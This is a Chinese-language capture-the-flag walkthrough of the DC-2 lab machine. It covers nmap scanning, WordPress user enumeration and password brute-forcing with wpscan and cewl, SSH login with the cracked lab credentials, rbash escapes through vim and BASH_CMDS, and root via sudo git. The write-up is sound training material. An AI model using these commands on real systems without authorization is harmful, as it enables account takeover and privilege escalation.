DC-2 靶机渗透
字数 1024 2025-08-12 11:34:03
DC-2 靶机渗透实战教学文档
信息收集阶段
1. 网络扫描
首先使用nmap进行网络扫描,探测目标主机的IP地址:
nmap -Pn 192.168.207.0/24
发现目标IP为192.168.207.210后,进行更详细的端口扫描:
nmap -sS -sC -sV 192.168.207.210
2. DNS解析问题处理
访问http://192.168.207.210显示无法访问,说明DNS无法解析该域名。需要在本地hosts文件中添加解析记录:
-
Windows系统:
编辑C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.207.210 dc-2 -
Linux系统:
编辑/etc/hosts文件,添加:192.168.207.210 dc-2
Flag1获取
- 访问http://dc-2/,点击flag获取flag1
- 根据flag1提示,需要使用cewl工具生成密码字典:
cewl http://dc-2/ -w dc-2-passwd.txt
用户枚举与密码爆破
- 使用wpscan枚举WordPress用户:
wpscan --url http://dc-2/ -e u
- 创建用户列表文件
dc-2-user.txt,内容为:
admin
jerry
tom
- 使用wpscan进行密码爆破:
wpscan --url http://dc-2/ -U dc-2-user.txt -P dc-2-passwd.txt
爆破结果:
- jerry:adipiscing
- tom:parturient
Flag2获取
-
使用jerry:adipiscing账户登录WordPress后台:
http://dc-2/wp-admin -
在后台获取flag2
-
根据flag2提示,使用tom:parturient进行SSH登录
rbash逃逸(Flag3)
登录后发现tom用户使用的是受限的rbash,需要进行逃逸:
方法一:使用vim/vi逃逸
-
执行vim或vi:
vim -
在vim中执行:
:set shell=/bin/sh :shell -
添加环境变量:
export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin/
方法二:使用BASH_CMDS逃逸
-
执行:
BASH_CMDS[a]=/bin/sh;a -
然后立即输入:
/bin/bash -
添加环境变量:
export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin/ -
获取flag3.txt
Flag4获取
根据flag3.txt提示,切换到jerry用户:
su jerry
密码为:adipiscing
在jerry用户目录下获取flag4:
cat /home/jerry/flag4.txt
Git提权(Final Flag)
根据flag4提示,使用git进行提权:
-
检查sudo权限:
sudo -l -
发现jerry用户可以使用sudo执行git命令
-
执行git提权:
sudo git help config !/bin/bash -
获取root权限后,查找最终flag
总结
本渗透测试流程包括:
- 信息收集与网络扫描
- DNS解析配置
- WordPress用户枚举与密码爆破
- rbash逃逸技术
- 横向移动(用户切换)
- Git提权技术
关键点:
- 注意hosts文件的修改
- cewl生成密码字典的使用
- wpscan在WordPress渗透中的应用
- 两种rbash逃逸方法
- git的sudo提权技术